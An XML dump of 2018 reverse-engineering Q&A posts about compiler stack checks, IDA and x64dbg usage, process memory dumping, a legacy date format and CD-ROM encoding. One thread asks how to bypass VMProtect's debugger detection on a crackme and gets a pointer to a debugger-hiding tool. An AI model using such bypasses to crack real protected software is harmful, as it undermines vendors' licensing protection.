  <row Id="17850" PostTypeId="2" ParentId="17648" CreationDate="2018-03-30T10:16:51.873" Score="2" Body="&lt;p&gt;I've checked the mentioned chapter and there's also an info about detecting an execution of the instruction on the stack. This is I think more common scenario. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the overflow detection I can only speculate, but for me it's easier to check, in one place, if all the values that should be &lt;code&gt;0xCC&lt;/code&gt; are still in fact intact the same than to do this every time after an operation that could overflow and check if the value that should be the result of an operation. Consider also an arrays that with this approach could be check if the do not span outside the range than they should. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With having the use of &lt;code&gt;OxCC&lt;/code&gt; both checks can be covered.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-03-30T10:16:51.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17851" PostTypeId="2" ParentId="17648" CreationDate="2018-03-30T10:56:07.107" Score="2" Body="&lt;p&gt;What you pasted is Visual C++'s &lt;code&gt;/GZ&lt;/code&gt; switch or for newer versions &lt;code&gt;/RTC&lt;/code&gt;. It fills the stack for local variables with 0xCC. What I couldn't find is if there's an actual function that checks at runtime if any of the gaps have been tainted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume there is because the compiler should be able to generate those at compile time knowing the stack layout, so at some point (end of function, or exception?) he could automatically verify if the gaps are clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without the gap, you would not be able to tell if one variable write spilled because it would just end up in the next one. I guess that's what the book author was implying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I could not find clear documentation for those flags, except a description that it does fill the stack and use it to verify the integrity.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-03-30T10:56:07.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17853" PostTypeId="2" ParentId="17648" CreationDate="2018-03-30T12:39:43.287" Score="3" Body="&lt;p&gt;the latest visual studio compilers use runtime checks to detect overflows it &#xA;performs them using a variety of run-time checks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can use them in un-optimized builds only  /Od &#xA;(these don't work in optimized builds  not with /O1 or /O2 or /Ox)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;these can be either &lt;strong&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/preprocessor/runtime-checks&quot; rel=&quot;nofollow noreferrer&quot;&gt;#pragmas&lt;/a&gt;&lt;/strong&gt; or &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/reference/rtc-run-time-error-checks&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;/RTC1 /RTCS | U | C&lt;/strong&gt;&lt;/a&gt; command-line switches &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the stack corruption is detected by means of allocating a larger buffer than is required and filling it up with a known pattern     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;since the compiler knows how much space should be used it can check if the bounds have been trampled with unknown pattern    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(yes some clever pattern matching exploits can possibly still try to fool this but it works for genuine usage where you are writing an inadvertently overflowing code) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;take for example this code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define CRT_SECURE_NO_WARNING&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;void foo(void){&#xA;    char flowoverme[0x10];&#xA;    strcpy(flowoverme,&quot;yaddaaayadddaaafoo&quot;);&#xA;}&#xA;int main(void){&#xA;    foo();&#xA;    printf(&quot;checking overflows by pattern pasting \n&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(if you use /analyze compiler switch it will spit out this code will overflow &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cl /nologo /Zi /RTC1 /analyze /Od /EHsc rtcchk.cpp /link /nologo /debug&#xA;rtcchk.cpp&#xA;rtcchk.cpp(8) : warning C6386: Buffer overrun while writing to 'flowoverme':  the wr&#xA;itable size is '16' bytes, but '19' bytes might be written.: Lines: 7, 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but assume you just did cl foo.cpp&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cl /nologo /Zi /RTC1 /Od /EHsc rtcchk.cpp /link /nologo /debug&#xA;rtcchk.cpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you execute this compiled code the printf wont be reached if runtime checks were enabled &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;rtcchk.exe&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we can disassemble and see what is happening inside the function foo and why printf() is not executed &lt;/p&gt;&#xA;&#xA;&lt;p&gt;lets open up the binary in windbg go to start of foo() and ask windbg to go up (gu that is return to main() back) as below and you will notice windbg doesn't return to main but stops with an error message &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &quot;g rtcchk!foo;gu&quot; rtcchk.exe&#xA;&#xA;Microsoft (R) Windows Debugger Version 10.0.16299.15 X86&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command 'g rtcchk!foo;gu'&#xA;&#xA;rtcchk!failwithmessage+0x255:&#xA;013d75da cc              int     3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the call stack would show &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; kP&#xA;ChildEBP RetAddr&#xA;0028f544 013d72a9 rtcchk!failwithmessage(&#xA;                        void * retaddr = 0x013d698a,&#xA;                        int crttype = 0n1,&#xA;                        int errnum = 0n2,&#xA;                        char * msg = 0x0028f568 &quot;Stack around the variable 'flowoverme' was corrupted.&quot;)+0x255&#xA;0028f96c 013d6c3d rtcchk!_RTC_StackFailure(&#xA;                        void * retaddr = 0x013d698a,&#xA;                        char * varname = 0x013d69b8 &quot;flowoverme&quot;)+0x94&#xA;0028f98c 013d698a rtcchk!_RTC_CheckStackVars(&#xA;                        void * frame = 0x0028f9b8,&#xA;                        struct _RTC_framedesc * v = 0x013d69a4)+0x42&#xA;0028f9b8 013d69d8 rtcchk!foo(void)+0x4a&#xA;0028f9c0 013d6ecd rtcchk!main(void)+0x8&#xA;(Inline) -------- rtcchk!invoke_main+0x1c&#xA;0028fa08 76a9ed6c rtcchk!__scrt_common_main_seh(void)+0xf9&#xA;0028fa14 77cb37eb kernel32!BaseThreadInitThunk+0xe&#xA;0028fa54 77cb37be ntdll!__RtlUserThreadStart+0x70&#xA;0028fa6c 00000000 ntdll!_RtlUserThreadStart+0x1b&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you still want to know what or how those functions operate open up either crt sources in vs  or disassemble the functions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the compiler knows the required size and where the bounds are &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dx -r3 (_RTC_framedesc *) 0x013d69a4&#xA;(_RTC_framedesc *) 0x013d69a4  : 0x13d69a4 [Type: _RTC_framedesc *]&#xA;    [+0x000] varCount         : 1 [Type: int]&#xA;    [+0x004] variables        : 0x13d69ac [Type: _RTC_vardesc *]&#xA;        [+0x000] addr             : -24 [Type: int]&#xA;        [+0x004] size             : 16 [Type: int]&#xA;        [+0x008] name             : 0x13d69b8 : &quot;flowoverme&quot; [Type: char *]&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-03-30T12:48:54.943" LastActivityDate="2018-03-30T12:48:54.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17854" PostTypeId="2" ParentId="17839" CreationDate="2018-03-30T13:31:56.393" Score="1" Body="&lt;p&gt;it is a simple assignment like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;int a = x;&#xA;int *b = &amp;a;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if r9 is used then it possibly means the 4 th argument is being initialised &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see your construct in code like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int *blah;&#xA;int foo(int,int,int,int *c){&#xA;    register int b = *c;&#xA;    return b * 3;&#xA;}&#xA;int main (void) {&#xA; int f = 0xdeadbeef;&#xA; blah = &amp;amp;f;&#xA;return foo(1,2,3,blah);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see how r9 is initialized for this code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;dumpbin /disasm:nobytes /range:0x140001030,0x140001068 pointer.exe&#xA;Microsoft (R) COFF/PE Dumper Version 14.13.26129.0&#xA;Dump of file pointer.exe&#xA;File Type: EXECUTABLE IMAGE&#xA;  0000000140001030: sub         rsp,38h&#xA;  0000000140001034: mov         dword ptr [rsp+20h],0DEADBEEFh&#xA;  000000014000103C: lea         rax,[rsp+20h]&#xA;  0000000140001041: mov         qword ptr [0000000140003000h],rax &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;  // mov [addr] , value (value here is 0xdeadbeef) &#xA;  // if you do r eax = 55 then you got what you wanted here wrt windbg&#xA;  0000000140001048: mov         r9,qword ptr [0000000140003000h] &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;  // mov register [addr]&#xA;  000000014000104F: mov         r8d,3&#xA;  0000000140001055: mov         edx,2&#xA;  000000014000105A: mov         ecx,1&#xA;  000000014000105F: call        0000000140001000&#xA;  0000000140001064: add         rsp,38h&#xA;  0000000140001068: ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in such cases if you want r9 to be say 55  you need to patch the contents of the &#xA;address 0x140003000 or some such address&lt;br&gt;&#xA;one way to get that address is debug or use some memory scanning tools like cheat engine&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-03-30T14:13:56.210" LastActivityDate="2018-03-30T14:13:56.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17857" PostTypeId="1" AcceptedAnswerId="17858" CreationDate="2018-03-30T16:37:10.927" Score="-1" ViewCount="1856" Body="&lt;p&gt;who faced with VMProtect? I just found on the Internet crackme and decided to grunt it, but unfortunately not that good of it did not work out, as the message about prevention of debugging climbed out. the whole point of the problem is to find out the constant password and I decided as usual I do in such cases turn off the anti-debugging and I'm looking for a password, so I put the check for the &lt;code&gt;IsDebuggerPresent&lt;/code&gt; system functions, &lt;code&gt;CheckRemoteDebuggerPresent&lt;/code&gt; and when they were called by the simply return value set 0, surprisingly did not help. Can you please tell us how to avoid debugger detection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Everything for the sole purpose of education&lt;/p&gt;&#xA;" OwnerUserId="21438" LastEditorUserId="2147" LastEditDate="2018-09-24T22:31:44.500" LastActivityDate="2018-09-24T22:31:44.500" Title="VMProtect keygen, turn off the anti-debugging" Tags="|debugging|anti-debugging|x64dbg|virtual-machines|vmprotect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17858" PostTypeId="2" ParentId="17857" CreationDate="2018-03-30T18:12:55.367" Score="1" Body="&lt;p&gt;You can use something like &lt;a href=&quot;https://github.com/x64dbg/ScyllaHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;ScyllaHide&lt;/a&gt; to hide your debugger while you still don‘t know the method they use to detect you.&lt;/p&gt;&#xA;" OwnerUserId="23656" LastActivityDate="2018-03-30T18:12:55.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17860" PostTypeId="2" ParentId="17836" CreationDate="2018-03-31T11:52:01.283" Score="2" Body="&lt;p&gt;No need for IDA or any other debugger.&#xA;Suppose you know which process had an injection, two possible ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open &lt;a href=&quot;https://processhacker.sourceforge.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;process hacker&lt;/a&gt;, double click on the process and to the memory tab. Look for memory section with RWX permissions (sometimes RX, but mostly RWX). double click on it and see if it looks like a dll (start with &quot;MZ&quot; magic). or a shell code (&quot;55 8b&quot; is usually function prologue). Save this memory section to the disk and remember what is its start address at the memory of the process. Use &lt;a href=&quot;https://github.com/hasherezade/pe_recovery_tools/tree/master/pe_unmapper&quot; rel=&quot;nofollow noreferrer&quot;&gt;pe_unmapper&lt;/a&gt; to convert it back to raw PE format (pe_unmapper FILE_NAME START_ADDRESS)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;https://github.com/glmcdona/Process-Dump&quot; rel=&quot;nofollow noreferrer&quot;&gt;process dumper&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21192" LastActivityDate="2018-03-31T11:52:01.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17862" PostTypeId="1" CreationDate="2018-03-31T19:02:37.503" Score="2" ViewCount="283" Body="&lt;p&gt;I've came across what appears to be a date format from a legacy database application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have access to the code that generated it, just have examples corresponding to certain Holiday messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to convert these into standard dates. &#xA;I hope that this is a standard, perhaps obscure or long obsolete date format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dump appeared to be in big-endian byte-order and 7-bit clean&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roughly it seems to start at the Unix epoch ( Jan 1 1970 ) at 00 00 00.&#xA;As per similar questions, all data is in Hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There appear to be two numbers that never appear in the rightmost column, but that is possibly my data set because one of them does appear in the middle column. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jul  4 2001, 03 &lt;strong&gt;4E&lt;/strong&gt; 7B   &amp;lt;-- fixed typo&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2001, 03 55 76&lt;/li&gt;&#xA;&lt;li&gt;Jul  4 2002, 03 5D 52&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2002, 03 64 4D&lt;/li&gt;&#xA;&lt;li&gt;Jul  4 2003, 03 6C 2A&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2003, 03 73 25&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2004, 04 02 02&lt;/li&gt;&#xA;&lt;li&gt;Jul  4 2005, 04 09 5F&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2005, 04 10 5A&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2006, 04 1F 31&lt;/li&gt;&#xA;&lt;li&gt;Jul  4 2007, 04 27 0E&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2007, 04 2E 09&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2008, 04 3C 66&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2009, 04 4B 3D&lt;/li&gt;&#xA;&lt;li&gt;Jul  4 2010, 04 53 1A&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2010, 04 5A 15&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2011, 04 68 6D&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2012, 04 77 4A&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2013, 05 06 21&lt;/li&gt;&#xA;&lt;li&gt;Jul  4 2014, 05 &lt;strong&gt;0D&lt;/strong&gt; 7E  &amp;lt;- fixed typo&lt;/li&gt;&#xA;&lt;li&gt;Jul  5 2014, 05 0E 03&lt;/li&gt;&#xA;&lt;li&gt;Jul  6 2014, 05 0E 08&lt;/li&gt;&#xA;&lt;li&gt;Jul  7 2014, 05 0E 0E&lt;/li&gt;&#xA;&lt;li&gt;Jul  8 2014, 05 0E 13&lt;/li&gt;&#xA;&lt;li&gt;Jul  9 2014, 05 0E 18&lt;/li&gt;&#xA;&lt;li&gt;Dec 24 2014, 05 14 79&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Update to add another sequence of dates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Feb 19 1996  03 00 03&#xA;Mar 15 1996  03 01 03&#xA;Apr  9 1996  03 02 04&#xA;May  3 1996  03 03 00&#xA;May 20 1996  03 04 01&#xA;Sep 05 1996  03 08 04 &#xA;Sep 30 1996  03 09 04 &#xA;Oct 24 1996  03 0a 00 &#xA;Nov 10 1996  03 0b 01&#xA;Jan  1 1997  03 0d 02&#xA;Feb  1 1997  03 0e 03&#xA;Feb 26 1997  03 0f 04&#xA;Apr 16 1997  03 11 00&#xA;May 11 1997  03 12 01&#xA;Jun  5 1997  03 13 01&#xA;Jun 30 1997  03 14 02 &#xA;Jul 25 1997  03 15 03 &#xA;Aug 19 1997  03 16 04 &#xA;Nov  1 1997  03 19 01&#xA;Nov 26 1997  03 1a 02 &#xA;Jan 15 1998  03 1c 03&#xA;Feb  9 1998  03 1d 04 &#xA;Mar 30 1998  03 1f 00&#xA;..&#xA;Jan 11 2004  03 74 02&#xA;Feb  5 2004  03 75 02 &#xA;Mar  1 2004  03 76 03&#xA;Mar 26 2004  03 77 04 &#xA;Apr 19 2004  03 78 00&#xA;May 14 2004  03 79 00&#xA;Jun  8 2004  03 7a 01 &#xA;Jul  3 2004  03 7b 02&#xA;Jul 28 2004  03 7c 03 &#xA;Aug 22 2004  03 7d 03&#xA;Sep 16 2004  03 7e 04&#xA;Oct 10 2004  03 7f 00 &#xA;Nov  4 2004  04 00 00 &#xA;Nov 29 2004  04 01 01 &#xA;Dec 24 2004  04 02 02   &#xA;Jan 18 2005  04 03 03&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23827" LastEditorUserId="23827" LastEditDate="2018-04-06T14:44:02.243" LastActivityDate="2018-05-06T15:36:34.443" Title="Help with a packed date format" Tags="|encodings|binary-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17863" PostTypeId="2" ParentId="17816" CreationDate="2018-04-01T00:45:30.040" Score="1" Body="&lt;p&gt;ALT+G switches ARM\Thumb\Thumb2.&#xA;I guess IDA uses heuristics to do that, e.g. if you see BX or BLX to an address that doesn't fit 4 bytes then it must be Thumb mode.&lt;/p&gt;&#xA;" OwnerUserId="23830" LastActivityDate="2018-04-01T00:45:30.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17866" PostTypeId="1" CreationDate="2018-04-01T15:49:46.130" Score="1" ViewCount="231" Body="&lt;p&gt;I'm studying the principles of data storage CD-ROM&#xA;At the moment I understand structures of sectors, F1 frames, F3 frames, subcode channels.&#xA;But I just can not understand the principle of forming F2 frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-130.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-130.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://moais.imag.fr/membres/jean-louis.roch/perso_html/COURS/CSCI-506b-TRAIT-ERREURS/documents/IEC908.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://moais.imag.fr/membres/jean-louis.roch/perso_html/COURS/CSCI-506b-TRAIT-ERREURS/documents/IEC908.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wherever I look I do not see the implementation of this algorithm I see only a picture with a description of how. But I can not understand it.&#xA;1. What is a delay line? Is it FIFO by the required number of bytes?&#xA;2. The output data judging by the picture will appear unevenly, I correctly understand that until the first 108 frames are output, instead of some bytes, there will be garbage?&#xA;3. Can someone do or saw the implementation of this algorithm?&lt;/p&gt;&#xA;" OwnerUserId="23838" LastActivityDate="2018-04-01T15:49:46.130" Title="CD-ROM CIRC encoder" Tags="|encodings|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17872" PostTypeId="1" AcceptedAnswerId="17878" CreationDate="2018-04-02T15:24:44.723" Score="2" ViewCount="4122" Body="&lt;p&gt;I've open a DLL in IDA v7. In one subroutine, there is a &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/hh707077(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;PathAllocCombine()&lt;/code&gt;&lt;/a&gt; function. The pesudocode shows six arguments in it. But the documentations shows there are four arguments i.e. &lt;code&gt;PathAllocCombine(PCWSTR, PCWSTR, unsigned long, PWSTR);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pseudocode is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_QWORD *__fastcall sub_180040994(_QWORD *a1, __int64 a2, __int64 a3)&#xA;{&#xA;  _QWORD *v3; // rbx&#xA;  signed int v4; // ST20_4&#xA;  unsigned int v5; // eax&#xA;  void *retaddr; // [rsp+38h] [rbp+0h]&#xA;&#xA;  v3 = a1;&#xA;  v4 = 1;&#xA;  *a1 = 0i64;&#xA;  v5 = PathAllocCombine(a2, a3, 1i64, a1, v4, -2i64);&#xA;  if ( (v5 &amp;amp; 0x80000000) != 0 )&#xA;  {&#xA;    sub_18000A7A4(retaddr, 106i64, &quot;unknown.cpp&quot;, v5);&#xA;    JUMPOUT(*(_QWORD *)&amp;amp;byte_1800409F9);&#xA;  }&#xA;  return v3;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the graph view of that subroutine (conditional jump is removed):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/thGwJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/thGwJ.png&quot; alt=&quot;PathAllocCombine_call&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is this an internal bug in IDA? Or am I doing anything wrong?&lt;/p&gt;&#xA;" OwnerUserId="23069" LastEditorUserId="23069" LastEditDate="2018-04-03T07:55:26.150" LastActivityDate="2018-04-03T09:45:15.707" Title="Why does IDA show wrong function arguments in pseudocode?" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17873" PostTypeId="1" CreationDate="2018-04-02T15:47:50.730" Score="2" ViewCount="1617" Body="&lt;p&gt;I'm attempting to learn reversing techniques using IDA on an exe built with VC/MFC, and could use a little initial help learning some patterns for simplifying the decompiled code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA found approximately 30K subroutines in my exe, and they make heavy use of the CString class, so that seems like a good place to start. I've read a lot of IDA tutorials and articles, but haven't found anything that covers this specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a relatively simple example, unmodified by me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __cdecl sub_428258(int a1, int a2, int a3)&#xA;{&#xA;  int v3; // esi&#xA;  int v4; // eax&#xA;  int v5; // eax&#xA;  char v6; // [esp+10h] [ebp-10h]&#xA;  int v7; // [esp+1Ch] [ebp-4h]&#xA;&#xA;  v7 = 0;&#xA;  v3 = ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::ReverseFind(&amp;amp;a1, 92);// Find '\'&#xA;  if ( v3 &amp;lt; 0&#xA;    &amp;amp;&amp;amp; (v3 = ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::ReverseFind(&amp;amp;a1, 47), v3 &amp;lt; 0) )// Find '/'&#xA;  {&#xA;    ATL::CSimpleStringT&amp;lt;wchar_t,1&amp;gt;::Empty(a2);&#xA;    ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::operator=(a3, &amp;amp;a1);// Return empty string in a3&#xA;  }&#xA;  else&#xA;  {&#xA;    v4 = ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::Left(&amp;amp;a1, &amp;amp;v6, v3);&#xA;    LOBYTE(v7) = 1;&#xA;    ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::operator=(a2, v4);&#xA;    LOBYTE(v7) = 0;&#xA;    ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::~CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;(&amp;amp;v6);&#xA;    v5 = ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::Right(&#xA;           &amp;amp;a1,&#xA;           &amp;amp;v6,&#xA;           *(_DWORD *)(a1 - 12) - v3 - 1);&#xA;    LOBYTE(v7) = 2;&#xA;    ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::operator=(a3, v5);&#xA;    LOBYTE(v7) = 0;&#xA;    ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::~CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;(&amp;amp;v6);&#xA;  }&#xA;  v7 = -1;&#xA;  ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;::~CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt;&amp;gt;&amp;gt;(&amp;amp;a1);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because IDA was able to use the MFC PDB file and RTTI, the logic is pretty easy to follow in this case. It seems to be doing something like splitting the first CString param on '\' or '/', and returning the split strings in the second and third CString params, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void Split(CString source, CString &amp;amp;left, CString &amp;amp;right);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this likely a class member function, and if so, how do you know?&lt;/li&gt;&#xA;&lt;li&gt;Why is V7 being set before each call to the CString functions?&lt;/li&gt;&#xA;&lt;li&gt;What is &quot;*(_DWORD *)(a1 - 12) - v3 - 1&quot; doing?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way to tell IDA to just use &quot;CString&quot; instead of the fully expanded type?&lt;/li&gt;&#xA;&lt;li&gt;Can I define a CString struct to help simplify the code?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My guess is that it &lt;em&gt;is&lt;/em&gt; a member function, and that the answers to #2 and #3 have to do with the class definition, but I'm just not sure. An example of the simplified code would really help.&lt;/p&gt;&#xA;" OwnerUserId="23851" LastActivityDate="2023-06-05T08:19:20.560" Title="Help reversing code which uses ATL::CStringT" Tags="|ida|c++|msvc|mfc|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17874" PostTypeId="1" AcceptedAnswerId="17877" CreationDate="2018-04-02T16:02:08.453" Score="9" ViewCount="11659" Body="&lt;p&gt;I have an error message pop up on the screen every few seconds on a program.&#xA;I would like to trace it back as to which function is calling the message box and why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the referenced string but how do I trace it back to who called the function?&lt;/p&gt;&#xA;" OwnerUserId="23852" LastEditorUserId="25171" LastEditDate="2018-10-05T18:38:26.370" LastActivityDate="2018-10-05T18:38:26.370" Title="Trace back which function called the message box in x64dbg?" Tags="|x64dbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
